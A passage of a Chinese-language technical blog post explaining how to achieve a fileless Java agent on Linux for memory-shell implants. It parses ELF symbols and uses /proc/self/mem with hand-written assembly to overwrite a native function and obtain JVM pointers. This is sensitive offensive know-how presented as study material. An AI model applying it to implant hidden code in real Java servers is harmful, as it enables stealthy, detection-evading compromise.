Linux下无文件Java agent探究

Xiaopan233 2022-04-07 09:54:00

0x00 背景

最近学习了两篇关于Java内存攻击的文章:
Java内存攻击技术漫谈

Linux下内存马进阶植入技术

其中我对无文件的Java agent技术挺感兴趣。于是乎花了点时间从头学习了一波,尤其是游望之师傅在Linux下植入无文件java agent的技术。本文将会对这个技术再进行一个梳理。但因我二进制的基础比较薄弱,所以本文在说明Linux下无文件Java Agent时,也会较详细的说明一些二进制相关的基础。希望能帮助同样二进制基础薄弱的同学学习和理解,二进制还是很有趣哒。

本文会浅涉如下方面:

  1. Java agent
  2. JDK编译及调试
  3. /proc/self/maps/proc/self/mem
  4. ELF文件解析
  5. 汇编
  6. 调试方法

下面就开始吧。文章的代码已上传至github,地址在文末。本文所调试使用的jdk版本是11。

0x01 常规Java agent

Java agent可以简单理解为:动态修改字节码的技术。它可以独立于正常程序,作为一个新应用运行。其应用非常广泛,如可以在运行状态下的Java程序中,往函数开头和函数结尾插入调试信息,达到监测、调试、甚至保护Java程序的功能。具体实现需要借助Java自带的instrument包。下面简单实现一个修改运行时Java字节码的Demo:往正常程序的函数末尾添加一行print语句

首先有一个正常程序,功能是每一秒打印字符串

class Info{
    public static void print(){
        System.out.println("Info...");
    }
}

public class PrintInfo {
    public static void main(String[] args) throws Exception{
        while (true) {

            Info.print();
            Thread.sleep(1000L);
        }
    }
}

将这个程序运行起来后。我们就可以编写Java agent了。Java agent实际上是一个jar包,触发方式分为命令行式运行时agent。命令行式就是在启动java程序时,跟一个参数-javaagent:。由于命令行式是启动时agent,而内存马一般是打在运行时的中间件中,不符合需求。所以本文讨论的是运行时agent的触发方式。

运行时agent需要一个独立于目标JVM(其实也可以self attach,但是高版本JDK有一些限制什么的,绕过不在本文讨论范围内)的Java程序,负责找到目标JVM。代码如下:
Attach.java

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class Attach {
    public static void main(String[] args) throws Exception{
        for (VirtualMachineDescriptor virtualMachineDescriptor : VirtualMachine.list()) { //遍历当前运行的所有JVM
            if (virtualMachineDescriptor.displayName().equals("PrintInfo")) {             //一般vm标识符名称就是main函数的类名
                VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor.id());//根据JVM id,对运行中的JVM进行attach
                attach.loadAgent("/path/to/javaAgent.jar");     //为attach住的JVM指定一个Java agent jar包,从而触发运行时agent
            }
        }
    }
}

接下来编写Java agent jar包。jar包的目录结构如下

META-INF
 - MANIFEST.MF
Main.java

idea里的结构
1.png

MANIFEST.MF内容如下,Agent-Class用来指定运行时agent的类;Can-Redefine-Classes表示允许Java agent修改类。注意末尾需要有一个空格

Manifest-Version: 1.0
Agent-Class: Main
Can-Redefine-Classes: true

运行时agent的Java agent,需要存在一个agentmain()函数,里面写agent的相关逻辑。这里我们的主逻辑是:修改前文Info类print方法,使其函数末尾打印一行信息。关于类字节码的修改,使用javassist库会非常方便。

import javassist.*;

import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;

public class MyMain {
    public static void agentmain(String agentArgs, Instrumentation instrumentation) throws Exception{
        String className = "Info";//要被修改的类名
        //不可以用Class.forName找类,需要用getAllLoadedClasses()
        for (Class loadedClass : instrumentation.getAllLoadedClasses()) { 
            if (loadedClass.getName().equals(className)) {
                //javassist的用法,需要将正常Java程序的ClassPath添加到ClassPool中
                ClassClassPath classClassPath = new ClassClassPath(loadedClass); 
                ClassPool classPool = new ClassPool();
                classPool.insertClassPath(classClassPath);

                //javassist修改Info#print()方法,往末尾添加一行print
                //此时修改的只是原始类的一个拷贝,不是真正的类
                CtClass ctClass = classPool.get(className);
                CtMethod method = ctClass.getDeclaredMethod("print");
                method.insertAfter("System.out.println(\"[+] debug info...\");");

                //将修改好的类转成字节码,利用redefineClasses(),真正修改JVM中的类字节码
                byte[] bytes = ctClass.toBytecode();
                ClassDefinition classDefinition = new ClassDefinition(loadedClass, bytes);
                instrumentation.redefineClasses(classDefinition);
            }
        }
    }
}

接下来就让idea帮我们打jar包。点击"File -> Project Structure... -> Project Settings -> Artifacts",点击+号添加一个JAR,选择"From modules with dependencies..."。"Create JAR from Modules"的选项窗口不需要修改默认即可。设置完毕后。还需要手动将javassist包打进Java agent包中,进行如下设置
2.png

准备妥当后,点击"Build -> Build Artifacts... -> Build",即可将当前项目打成Jar包。

生成好Jar包后,修改Attach类attach.loadAgent()路径为刚刚生成的Jar包。随即运行Attach类。可以看到程序的输出突然多了一行"[+] debug info..."。达成了先前的预期:往函数末尾添加一行print语句
3.png

基本的Java agent修改类字节码就是这样。简单归纳步骤如下:

  1. 选定被修改的类
  2. 编写Java agent的Attach程序:遍历JVM,attach JVM,加载Java agent jar包
  3. 编写Java agent。主要编写agentmain()方法
  4. 运行Attach程序

0x02 JDK编译及调试

为了方便接下来的静调和动调Java的native方法,编译jdk及其调试是非常重要的前置工作。本文采用Ubuntu18编译和调试jdk。

我们可在http://hg.openjdk.java.net/jdk/jdk11/tags下载jdk11。下载好后将之解压。解压完成后找到doc/building.md文件,该文件说明了编译jdk的步骤。

首先我们需要装好基本依赖,这里最好用gcc7:

sudo apt-get install build-essential gcc-7 g++-7 clang cmake autoconf -y

如果是多版本gcc共存的,可以用以下命令切换gcc/g++版本

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-7 7
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-7 7

接下来需要一个已经编译好的,编译版本前一大版本的jdk,作为boot jdk。本文要编译的是jdk11,所以我们还需要下载一个jdk10作为boot jdk。

前置依赖安装下载妥当后,开始编译。建议使用如下选项。这些选项说明是参考building文档的。其中:

--with-boot-jdk 为BootJDK路径

--disable-warnings-as-errors 必加这个参数。不然编译到一半会因为Warning终止编译。这个卡了我好久

bash configure --with-jvm-variants=server --with-debug-level=slowdebug --enable-dtrace --with-boot-jdk=/path/to/bootjdk --disable-warnings-as-errors 

configure中途肯定会遇到缺依赖的报错。同时也会给提示,按照提示安装依赖即可

configure完成后。执行make images命令。然后就可以快乐使用编译好的JDK了

make images 
./build/*/images/jdk/bin/java -version

CLion本地调试JDK

我用的IDE工具是CLion。CLion中"File -> Open"打开jdk源码包的根目录。第一次打开注意不要点clean。不然会把编译好的jdk/bin删掉的。如果误删除了需要重新make

配置"Configuration"。如图
4.png

此时直接点调试,不需要下断点。jdk中会抛出各种中断信号,CLion会自动断点的。若看到CLion能正常断点,程序也能正常输出即可。
5.png

CLion和Idea协同调试

既然要调试Java的native方法,让CLion和Idea协同便是很关键的一步。如果在Idea中点击步入,就能进入CLion里的native方法具体实现,多是一件美事。为了CLion和Idea协同调试,我的思路是:在Idea中将程序打包成Jar;Clion中用-jar参数运行这个Jar包,并开启remote debug server;Idea连接remote debug进行java层调试,Clion则在对应的native函数中下好断点,等待Idea执行到native函数。

Idea建一个Java项目。
6.png

按照jar包格式写好基本demo。这里的demo就用存在native函数的FileInputStream。写好后执行build生成一个Jar包:
7.png

CLion中设置Java参数,Program arguments参数如下:

-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar /path/to/demo/demo.jar

8.png

设置妥当后,接下来是往native函数中下断点。FileInputStream构造函数中调用的native函数是open0。在CLion中搜索Method: open0,找到.h文件预定义的函数:
java_io_FileInputStream.h

/*
 * Class:     java_io_FileInputStream
 * Method:    open0
 * Signature: (Ljava/lang/String;)V
 */
JNIEXPORT void JNICALL Java_java_io_FileInputStream_open0
  (JNIEnv *, jobject, jstring);

再根据函数名Java_java_io_FileInputStream_open0,最后找到对应的jdk源码FileInputStream.c
FileInputStream.c

JNIEXPORT void JNICALL
Java_java_io_FileInputStream_open0(JNIEnv *env, jobject this, jstring path) {
    fileOpen(env, this, path, fis_fd, O_RDONLY);
}

在该函数中下好断点。注意断点不可以打在.h文件上,必须打在切实的函数上。CLion开启调试。开启调试时中间有几个中断,需要手动点击调试的绿色箭头过掉。调试端口开启后,CLion应该卡在这样的输出:

......
Listening for transport dt_socket at address: 5005

这是在等待调试端Idea的接入。回到Idea中,添加一个Remote JVM DebugConfigurations,使用默认配置即可。
9.png

Idea也配置好后,点击Idea的调试按钮。不出意外的话,CLion在经过几个中断之后,就会在断点处停下
10.png

掌握Idea和CLion协同调试native函数,可以帮助实现无文件Java agent的动态调试,方便调试和问题排查。

0x03 无文件Java agent的思路

关于无文件Java agent的思路,本文开头游望之师傅和rebeyond师傅的文章都讲的十分详尽。这里我就简单提一下:

对于内存马来说,Java agent最有用的功能就是redefineClasses。但普通的Java agent需要提供一个Jar包,有文件落地。如果去了解下JDK源码,看看其内部如何实现redefineClasses的,尝试通过Java伪造这一过程,或者构造数据,手动调用函数,也许能找到实现无文件Java agent的方式。

跟进InstrumentationImpl#redefineClasses()函数,可以看到其调用了native函数redefineClasses0()`

public class InstrumentationImpl implements Instrumentation {
    // needs to store a native pointer, so use 64 bits
    private final     long                    mNativeAgent;

    public void
        redefineClasses(ClassDefinition...  definitions)
                throws  ClassNotFoundException {
        .....
        redefineClasses0(mNativeAgent, definitions);
    }

    private native void
        redefineClasses0(long nativeAgent, ClassDefinition[]  definitions)
            throws  ClassNotFoundException;
}

既然java层可以看到这个native函数,意味着我们可以通过反射对其进行调用。但传递的参数就成了关键:ClassDefinition[]还好伪造,就是被修改类的字节码。但nativeAgent注释写着是一个指针,指针可是二进制层面的东西,若要伪造,Java语言需要有能直接操作内存的接口。幸运的是,Java提供了Unsafe接口,让Java开发拥有开辟堆内存的能力;并且Linux下的/proc/self/mem也能直接操作内存。那么Java在二进制层面伪造数据的困难也就解决了。

JPLISAgent结构体

接下来要研究native函数redefineClasses0()的实现,以便伪造nativeAgent指针。我们需要下载jdk源码进行翻阅,必要时也需要动态调试。openjdk的源码可以在http://hg.openjdk.java.net/jdk/进行下载。下面以jdk11的源码为例。

全局项目搜索后,发现native函数redefineClasses0()对应的jdk源码是JPLISAgent.c中的redefineClasses()函数,下面只抽取了该函数相关的最关键的部分

JPLISAgent.c

/*
 *  jnienv不需要java层关心
 *  agent是native函数中的long nativeAgent
 *  classDefinitions是native函数中的ClassDefinition[] definitions
 */
void
redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {
    jvmtiEnv* jvmtienv  = jvmti(agent); 
    .....
    errorCode = (*jvmtienv)->RedefineClasses(jvmtienv, numDefs, classDefs);  //redefineClass的关键代码
    .....
}

关键操作就两个:通过agent获取jvmtiEnv*。利用(*jvmtienv)->RedefineClasses()执行redefineClass。我们现在专注让Java层顺利调用native的redefineClasses0(),使程序能够走到(*jvmtienv)->RedefineClasses()这一步。(*jvmtienv)->RedefineClasses()内部逻辑比较复杂,先尝试让程序走到这一步,再慢慢动调会是更好的选择。

为了能在Java层顺利调用native函数redefineClasses0(),需要伪造JPLISAgent* agent。并且对于JPLISAgent * agentredefineClasses()函数只是对其进行了宏jvmti()的操作,得到一个jvmtiEnv*。还需要下面了解下其结构

JPLISAgent.h

struct _JPLISEnvironment {
    jvmtiEnv *              mJVMTIEnv;              /* the JVM TI environment */
    JPLISAgent *            mAgent;                 /* corresponding agent */
    jboolean                mIsRetransformer;       /* indicates if special environment */
};
typedef struct _JPLISEnvironment  JPLISEnvironment;

struct _JPLISAgent {
    JavaVM *                mJVM;                   /* JVM指针,但RedefineClasses()没有用到,可以忽略,全填充0即可 */
    JPLISEnvironment        mNormalEnvironment;     /* _JPLISEnvironment结构体 */
    ..... //无关紧要的成员
};
typedef struct _JPLISAgent        JPLISAgent;

#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv    //实际功能就是取_JPLISAgent.mNormalEnvironment。类型是_JPLISEnvironment

整个结构体有用的部分就这些。我们可以发现,若是要伪造一个JPLISAgent,需要获取jvmtiEnv*指针。

获取jvmtiEnv指针

梳理下流程,从宏jvmti()取出来的就是jvmtiEnv*。这个指针要如何获取呢?

游望之师傅的思路是:创建JPLISAgent的函数createNewJPLISAgent()中,有设置jvmtiEnv*指针的操作:创建一个空的jvmtiEnv* jvmtienv,将之传入(*vm)->GetEnv()中。调用结束后,jvmtienv将存放jvmtiEnv*指针。

JPLISAgent.c

JPLISInitializationError
createNewJPLISAgent(JavaVM * vm, JPLISAgent **agent_ptr) {
    jvmtiEnv * jvmtienv = NULL;
    jnierror = (*vm)->GetEnv(  vm,
                             (void **) &jvmtienv,
                             JVMTI_VERSION_1_1);
    ....
}

vmJavaVM指针。找到JavaVM结构体。其中存放着GetEnv()函数的函数指针。也就是说,如果能得到JavaVM指针,那么伪造JPLISAgent的条件:JavaVM*jvmtiEnv*这两个指针都能满足。

jni.h

typedef JavaVM_ JavaVM;

struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions;
    .....
    jint GetEnv(void **penv, jint version) {
        return functions->GetEnv(this, penv, version);
    }
}

struct JNIInvokeInterface_ {
    ....
    jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);
};

哪里可以得到JavaVM指针呢?有一个JNI_GetCreatedJavaVMs()函数可以获取:只需要传入JavaVM **指针,就会把创建好的JavaVM地址传给这个指针

jni.cpp

_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **vm_buf, jsize bufLen, jsize *numVMs) {
  .....
  if (vm_created == 1) {
    if (numVMs != NULL) *numVMs = 1;
    if (bufLen > 0)     *vm_buf = (JavaVM *)(&main_vm);
  }
}

调用jdk函数

通过前文分析我们可以知道,JNI_GetCreatedJavaVMs()函数能够得到JavaVM*指针,间接得到jvmtiEnv*指针。但这个函数并没有暴露给Java层的native函数,要如何调用这个函数呢?

游望之师傅给出了一个特别妙的方法:Linux下,每个程序都有自己的/proc/self/mem。通过这个文件,可以使程序访问甚至修改内存。这里需要注意的是,程序只能访问和修改自身程序的那一块内存,不可以越界访问其他程序的内存。下面简单用C写一个demo,演示操作/proc/self/mem修改内存:

demo

#include <stdio.h>
#include <stdlib.h>

int main(){
    int a = 1;
    unsigned long offset = &a;

    FILE *f = fopen("/proc/self/mem", "w+");

    printf("original value: %i\n", a);
    printf("memery address: %p\n", offset);

    fseek(f, offset, SEEK_SET );
    fputc(2, f);
    fclose(f); //关闭文件流后,会自动将缓冲区里的数据真正写进文件中

    printf("modify value: %i\n", a);
    return 0;
}

结果

original value: 1
memery address: 0x7ffe374b11a4
modify value: 2

既然能修改内存了,我们可以找一个合适Java native函数,手动修改函数内容为调用JNI_GetCreatedJavaVMs()以获取JavaVM*指针。调用结束后再将Java native函数修改回去,便可不破坏内存。

但要调用JNI_GetCreatedJavaVMs(),就得知道函数的内存地址。函数的内存地址由 基址+偏移 组成。基址也就是存放函数的链接库(ELF文件)被加载进内存的位置,偏移就是函数在链接库中的位置。

基址在Linux下可通过/proc/self/maps获得。同一个链接库可能会有好几个显示,但地址都是连续的,只要找最开始的地址即可。

$ cat /proc/self/maps 
7f99d9373000-7f99d955a000 r-xp 00000000 fd:00 1052964 /lib/x86_64-linux-gnu/libc-2.27.so
7f99d955a000-7f99d975a000 ---p 001e7000 fd:00 1052964 /lib/x86_64-linux-gnu/libc-2.27.so
7f99d975a000-7f99d975e000 r--p 001e7000 fd:00 1052964 /lib/x86_64-linux-gnu/libc-2.27.so
7f99d975e000-7f99d9760000 rw-p 001eb000 fd:00 1052964 /lib/x86_64-linux-gnu/libc-2.27.so
.....

偏移需要解析ELF文件获得,下文会详细说。

综合以上探索,可以得到一个Linux下无文件Java agent的思路:

  1. 解析/proc/self/maps和ELF文件,得到JNI_GetCreatedJavaVMs()函数及一个Java native函数地址
  2. 修改内存中Java native函数的内容,使之调用JNI_GetCreatedJavaVMs()函数。调用结束后要对Java native函数复原
  3. 拿到JavaVM*jvmtiEnv*之后,便可反射调用Java中InstrumentationImpl#redefineClasses0,达到动态修改字节码的效果
  4. 调用InstrumentationImpl#redefineClasses0时需要有JDK源码辅助动调,以便排查一些错误

0x04 基址寻找

我们可以通过/proc/self/maps得到链接库基址。注意/proc/self/xxx只能获取程序自身的信息,若想获取其他程序的信息,需要将self换成对应的pid

由于jdk有很多链接库,如何确定JNI_GetCreatedJavaVMs()函数在哪一个链接库中呢?JNI_GetCreatedJavaVMs()函数的源文件是src/hotspot/share/prims/jni.cpp,jdk源码全局搜索jni.cpp,可以在编译后的文件build/linux-x86_64-normal-server-slowdebug/hotspot/variant-server/libjvm/objs/jni.d找到。.d文件是依赖文件,包含了输出.o文件所需要的依赖。.o文件是对象文件,包含了编译好的代码。

jni.d

/usr/local/src/jdk11-1ddf9a99e4ad/build/linux-x86_64-normal-server-slowdebug/hotspot/variant-server/libjvm/objs/jni.o: \
 /usr/local/src/jdk11-1ddf9a99e4ad/src/hotspot/share/prims/jni.cpp \
.....

可以得知jni.cpp会被编译为jni.o文件。.o文件还需要进行链接操作,才会生成最终的链接库。根据其目录名libjvm可以猜测,最终jni.o应该是被链接到libjvm.so中。我们可以通过readelf工具解析libjvm.so来验证:

$ readelf -s lib/server/libjvm.so | grep JNI_GetCreatedJavaVMs
   355: 00000000008f6030    61 FUNC    GLOBAL DEFAULT   13 JNI_GetCreatedJavaVMs@@SUNWprivate_1.1
 55588: 00000000008f6030    61 FUNC    GLOBAL DEFAULT   13 JNI_GetCreatedJavaVMs

可以发现libjvm.so确实有JNI_GetCreatedJavaVMs()。注意这里显示了两个,一个序号是355一个序号是55588。这里先注意一下,后期ELF解析的时候有大坑。

知道JNI_GetCreatedJavaVMs()函数所在的链接库之后,便可通过读取/proc/self/maps得到链接库基址。基本代码如下:

RandomAccessFile mapsReader = new RandomAccessFile("/proc/self/maps", "r");
long libMemeryAddress = 0L;
String procSelfMem;
//libjvm.so address
long JNI_GetCreatedJavaVMsAddress = 0L;
while((procSelfMem = mapsReader.readLine()) != null) {
    if (procSelfMem.contains("libjvm.so")) {
        System.out.println("[+] maps String: " + procSelfMem);
        String[] address = procSelfMem.split(" ");
        String[] addressArr1 = address[0].split("-");
        libMemeryAddress = Long.valueOf(addressArr1[0], 16);
        break;
    }
}
mapsReader.close();
System.out.println("[+] offset: " + libMemeryAddress);

输出如下

[+] maps String: 7f06a2e5c000-7f06a3fe4000 r-xp 00000000 fd:00 1310891 xxx/lib/server/libjvm.so
[+] offset: 139666479497216

最后再将上述代码封装成类,解析基址的代码就完成了。

0x05 ELF解析

要获取函数的偏移地址,解析ELF是必须的步骤。在没有工具包的情况下,只能手写解析。由于解析代码篇幅过长,这里只浅析ELF的基本结构和解析思路,点到找函数偏移地址为止。具体的解析代码放在文末的github地址中了。ELF的结构不难,一起来看看吧

ELF格式文档:

ELF-64 Object File Format

Oracle的文档,可以和上面的互补着看

本文解析的ELF均以x64-bit为例

一个ELF文件,分为数个区:File headerSection tableSymbol table....等。对于本文的需求,我们只需要知道以下区的作用即可。

File header

File header区是ELF文件开头64 byte大小的数据(X64的ELF)。主要作用是说明ELF的基本信息,告诉解析者其他区的位置和大小。

File header的结构如下:

typedef struct
{
    unsigned char e_ident[16]; /*16 byte*/
    Elf64_Half e_type; 
    Elf64_Half e_machine;
    Elf64_Word e_version;
    Elf64_Addr e_entry; 
    Elf64_Off e_phoff; 
    Elf64_Off e_shoff; /* 8 byte */
    Elf64_Word e_flags;
    Elf64_Half e_ehsize; 
    Elf64_Half e_phentsize; 
    Elf64_Half e_phnum
    Elf64_Half e_shentsize;
    Elf64_Half e_shnum; /* 2 byte */
    Elf64_Half e_shstrndx; /* 2 byte */
} Elf64_Ehdr;

我们需要用到的字段有:

e_ident[5]1表示小端序,2表示大端序。默认情况下是小端序

e_shoffSection header在ELF文件中的偏移位置,用于定位Section header

e_shnum:ELF中Section header的数量

e_shstrndxSection header对应的字符串Section,是第几个Section header

不理解这些字段含义没关系,只要知道这些信息能够定位Section table即可。接下来继续了解Section table是什么。

Section header

前文说过,ELF文件中被分为很多个“区”,而这个区正是SectionSection header的作用是识别对应的Section及其位置。

Section header的结构如下:

typedef struct
{
    Elf64_Word sh_name; /* 4 byte */
    Elf64_Word sh_type;
    Elf64_Xword sh_flags;
    Elf64_Addr sh_addr;
    Elf64_Off sh_offset; /* 8 byte */
    Elf64_Xword sh_size; /* 8 byte */
    Elf64_Word sh_link;
    Elf64_Word sh_info;
    Elf64_Xword sh_addralign;
    Elf64_Xword sh_entsize; /* 8 byte */
} Elf64_Shdr;

我们需要用到的字段有:

sh_nameSection table的名字,是基于.shstrtab字符串表中的偏移。

sh_offsetSection在ELF文件中的偏移位置,用于定位Section

sh_size: 当前Section table旗下所有Section的大小

sh_entsize: 当前Section table旗下单个Section的大小

这些字段中,可以通过sh_entsize/sh_size算出Section table旗下Section的数量。

sh_name可能有点抽象,它表示Section table的名称。名称是字符串,Section header字符串存放在一个字符串表.shstrtab中。sh_name的值便是Section table名称在字符串表.shstrtab中的位置。也就是字符串在字符串表中的位置。

File header解析到Section header的流程大致如下:

  1. 解析File header,根据e_shoff得到Section header的位置,根据e_shnum加载所有的Section header。此时并不知道每个Section header都是什么。
  2. 根据File headere_shstrnds得知.shstrtab是第几个Section header
  3. 根据.shstrtabsh_offset,找到实际的字符串表(String table)
  4. 根据每个Section headersh_name指定的偏移,在字符串表中得到对应字符串,字符串结束符是0x00。得到的字符串就是Section header的名称

简单图示:
12.png

经过字符串表的关联,解析者就可以知道每个Section header具体的名称,便可通过名称区分每一个Section

在那么多Section中,本文需要用到的Section有:

  • .shstrtab

  • .symtab 和其字符串表 .strtab

  • .dynsym 和其字符串表 .dynstr

Symbol table

Symbol table是一种Section,中文名是符号表。其作用是关联程序中的符号,类似指针的作用。符号也就是标识符,函数也是一种符号。函数的偏移地址就是记录在符号表中的。也就是说,我们解析了符号表,就能得到函数的偏移地址,我们解析ELF的目的也就达成了。

存放Symbol tableSection只有.symtab.dynsym 这俩。.symtab中存放了所有的符号,而.dynsym 存放的是动态链接的符号。我们的解析需求是找特定函数的偏移地址,优先从.dynsym 中遍历寻找,毕竟数量少遍历的次数也比较少。

Symbol table的结构如下:

typedef struct
{
    Elf64_Word st_name; /* 4 byte */
    unsigned char st_info; /* 1 byte */
    unsigned char st_other;
    Elf64_Half st_shndx;
    Elf64_Addr st_value; /* 8 byte */
    Elf64_Xword st_size; /* 8 byte */
} Elf64_Sym;

我们需要用到的字段有:

st_nameSymbol table的名字,是基于对应字符串表中的偏移。字符串关联流程和上文的Section header一样。

st_info: 虽是一个字节,却记录的两个信息:高4位是绑定属性(binding attributes),低4位是符号类型(symbol type)。对本文来说,需要解析的是低4位符号类型值为2表示当前Symbol table是函数实体指针。要得到低4位,只需要st_info & 00001111即可,即st_info & 0xf

st_value: 指向符号的偏移地址

st_size: 指向符号的大小

综上所述可以知道,只要解析函数的Symbol table,就能通过st_value拿到函数的偏移地址。

整体解析流程:

11.png

至此,函数的偏移地址也可以得到。再加上前文"基址寻找"得到的基址,相加就是函数在内存中的地址。

0x06 合适的Java native函数

通过上文的解析,我们已经可以得到函数在内存中的地址了。按照无文件Java agent的思路,我们需要得到JNI_GetCreatedJavaVMs()函数地址和一个Java native函数地址。Java native函数的作用是调用JNI_GetCreatedJavaVMs(),得到JavaVM*指针,将之通过函数返回值返回。所以选择合适的Java native函数也是关键的一步,选择条件如下:

  1. 函数返回值是long,因为要返回一个指针
  2. 不是Java核心的native函数,不能影响程序正常运行,最好是偏门点的native函数
  3. 函数内部空间足够大,因为我们需要植入调用JNI_GetCreatedJavaVMs()的二进制代码

综合这些条件考虑,本文选择FileInputStream#skip0函数,对应在JDK源码里的函数是libjava.so中的Java_java_io_FileInputStream_skip0

0x07 汇编编写

JNI_GetCreatedJavaVMs()函数是没有暴露在Java层的接口的,为了能够调用它,在Linux下,可以通过操作/proc/self/mem,达到读写内存效果。本文的思路是修改Java_java_io_FileInputStream_skip0()函数内容,植入调用JNI_GetCreatedJavaVMs()函数的代码,并将JavaVM*指针返回。那么如何编写调用代码呢?这里需要一点汇编的知识。

汇编

本文不会细讲每个汇编指令,汇编指令网上已经讲的很详细了。这里只说明编写调用函数的汇编的思路。

C和汇编混编

在Linux&gcc环境下,C和汇编混编的简易流程如下:

1)在c文件中使用extern关键字表示有外部函数

extern void call();
int main(){
    call();
    return 0;
}

2)在s文件中,编写c文件中预设好的函数。Linux下的gcc汇编默认是AT&T语法

.text
.global call
.type call, %function

call:
        mov $0x1,%rax
        ret

3)使用命令gcc -o A ./A.c ./A.s -g编译c文件s文件
4)可以使用命令objdump -d -M intel ./A查看可执行文件的汇编和指令码

.....
000000000000060f <call>:
 60f:   48 c7 c0 01 00 00 00    mov    rax,0x1
 616:   c3                      ret                     ; 实际上我们只写到这里。下面可能是gcc自动生成的,也可能是垃圾数据,忽略即可
 617:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
 61e:   00 00 
.....

汇编调用JNI_GetCreatedJavaVMs

在Linux的汇编层面中,调用函数时,传参是放在寄存器中的,各寄存器对应的函数形参如下:

rdi -> arg1
rsi -> arg2
rdx -> arg3
rcx -> arg4
r8 -> arg5
r9 -> arg6

再看到JNI_GetCreatedJavaVMs()函数:

jni.cpp

_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **vm_buf, jsize bufLen, jsize *numVMs) {
  .....
  if (vm_created == 1) {
    if (numVMs != NULL) *numVMs = 1;
    if (bufLen > 0)     *vm_buf = (JavaVM *)(&main_vm);
  }
}

只需要bufLen>0,就会将已有的JavaVM*传递给vm_buf。汇编构造参数如下:

  1. JavaVM **vm_buf:x64中指针长度为8 byte,需要让栈中预设8 byte的空间以存放JavaVM*。虽然是指针的指针,但是代码中只取了一层值,传递一个一级指针即可。将这8 byte空间的地址传递给rdi
  2. jsize bufLen:需要让其>0。让rsi=1即可。
  3. jsize *numVMs:函数中对其进行了判空,最好还是在栈中预设4 byte空间并设置点值,并将这4 byte空间传递给rdx

结合这些条件,编写调用JNI_GetCreatedJavaVMs()函数的汇编如下。注意此时拿到的只是JavaVM*,下文还需要继续拿jvmtiEnv*

push %rbp
#平栈
mov %rsp,%rbp

#定义好每块空间放什么数据
#栈是从高地址到低地址生长的,rsp减小则栈空间变大
#为了方便理解,可以把rps+偏移当作一个变量名来看
#8 byte for int*  rsp+0x8
#8 byte for JavaVM*.  rsp
push $0x1
sub $0x8,%rsp

#传递形参
#rsp is * vm
lea (%rsp), %rdi
mov $0x1, %rsi
#rsp+0x8 is int*
lea 0x8(%rsp), %rdx

#调用GetCreatedJavaVms(),这里的函数地址是上文解析基址和偏移得到的,需要动态组装,这里暂时占位
mov $0xffffffffffffffff, %rax
call %rax
#调用结束后,rsp指向的空间应当被赋值成了JavaVM*指针

#平栈,回收前面开辟的两个指针变量的空间:一个push 一个sub 0x8
add $0x10,%rsp
pop %rbp
ret

汇编调用GetEnv

在上文顺利得到JavaVM*指针后,需要顺着这个指针,调用GetEnv()方法得到jvmtiEnv*

在汇编层面,我们没法用变量名这种符号来表示调用哪个方法、使用哪个函数指针。汇编层面访问结构体成员用的方法是偏移。所以我们有必要再看一看相关的代码,确定结构体成员的偏移量:

jni.h

typedef JavaVM_ JavaVM;

struct JavaVM_ {
    /*functions是第一个成员,其偏移量是0*/
    const struct JNIInvokeInterface_ *functions;
    .....
    jint GetEnv(void **penv, jint version) {
        return functions->GetEnv(this, penv, version);
    }
}

struct JNIInvokeInterface_ {
    ....
    /*前面有6个函数指针,所以GetEnv函数指针的偏移量是 6*8=48*/
    jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);
};

简单看了GetEnv()对应的函数,其经过层层调用来到如下代码。很明显jvmtiEnv*指针被赋值给了形参penv。形参penv的值便是函数要返回的内容。

jvmtiExport.cpp

jint
JvmtiExport::get_jvmti_interface(JavaVM *jvm, void **penv, jint version) {
    .... 
    *penv = jvmti_env->jvmti_external();
}

汇编构造参数如下:

  1. JavaVM **jvm:上文刚刚获取到的,直接传栈上地址即可。
  2. void **penv:栈中预设16 byte空间,这是二级指针,虽然没细究,但是只传一级指针是不行的。该空间用以存放心心念念的jvmtiEnv*指针。
  3. jint version:关于该值的设置,游望之师傅使用了JVMTI_VERSION_1_2的值0x30010200

jvmti.h

enum {
    JVMTI_VERSION_1   = 0x30010000,
    JVMTI_VERSION_1_0 = 0x30010000,
    JVMTI_VERSION_1_1 = 0x30010100,
    JVMTI_VERSION_1_2 = 0x30010200,
    JVMTI_VERSION_9   = 0x30090000,
    JVMTI_VERSION_11  = 0x300B0000,

    JVMTI_VERSION = 0x30000000 + (11 * 0x10000) + (0 * 0x100) + 0  /* version: 11.0.0 */
};

感觉如果这个值设置太高,可能会导致Jdk报版本不正确的错误,保险起见本文采用的值也是JVMTI_VERSION_1_2,也就是0x30010200

结合这些条件,我们需要在上文调用JNI_GetCreatedJavaVMs()的汇编基础上进行修改和增加,让程序接着调用GetEnv()函数,最后将jvmtiEnv*的值传递给寄存器rax

.text
.global call
.type call, %function

call:
        push %rbp
        mov %rsp,%rbp

        #准备栈空间,存放如下数据:
        #8 byte for int*        rsp+0x18
        #8 byte for JavaVM*     rsp+0x10
        #8 byte for void *penv  rsp+0x8
        #8 byte for void **penv rsp
        push $0x1
        sub $0x18,%rsp

        #分配函数传参
        #JNI_GetCreatedJavaVMs(JavaVM **vm_buf, jsize bufLen, jsize *numVMs)
        lea 0x18(%rsp), %rdx
        mov $0x1, %rsi
        lea 0x10(%rsp), %rdi

        #动态组装函数地址,这里暂时占位
        mov $0x1122334455667788, %rax
        call %rax

        #分配函数传参
        #JvmtiExport::get_jvmti_interface(JavaVM *jvm, void **penv, jint version)
        mov $0x30010200, %rdx
        #设置二级指针,思路: 将栈上地址传递给寄存器,再将寄存器值传递给栈上另一块空间
        lea 0x8(%rsp), %r8
        mov %r8, (%rsp)
        #经过上两个指令,此时rsp指向的空间 指向 rsp+8地址。
        lea (%rsp), %rsi
